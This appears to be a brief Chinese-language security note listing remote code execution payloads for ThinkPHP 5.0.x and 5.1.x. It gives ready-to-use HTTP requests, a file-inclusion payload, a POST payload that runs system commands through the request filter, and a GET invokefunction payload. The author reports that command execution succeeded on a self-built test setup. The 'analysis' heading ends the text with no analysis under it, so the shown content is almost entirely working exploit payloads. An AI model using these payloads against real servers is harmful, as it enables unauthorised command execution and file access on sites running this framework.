Thinkphp5.X的RCE分为两大版本:
ThinkPHP 5.0-5.0.24
ThinkPHP 5.1.0-5.1.30
以下payload先作临时参考
tp5.1.x
文件包含:
http://ip/index.php?s=captcha&m=1
post提交:
_method=__construct&filter[]=think__include_file&get[]=/home/www/test3/public/1.txt&method=get&server[]=
tp5.0.x
代码执行漏洞:
POST请求
http://ip/index.php
_method=__construct&filter[]=system&method=GET&get[]=dir
GET请求
http://ip/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
自己搭建的环境是 thinkphp5.0.5 php 5.4.x
payload:_method=__construct&filter[]=system&method=GET&get[]=dir
测试,成功执行命令!
漏洞分析: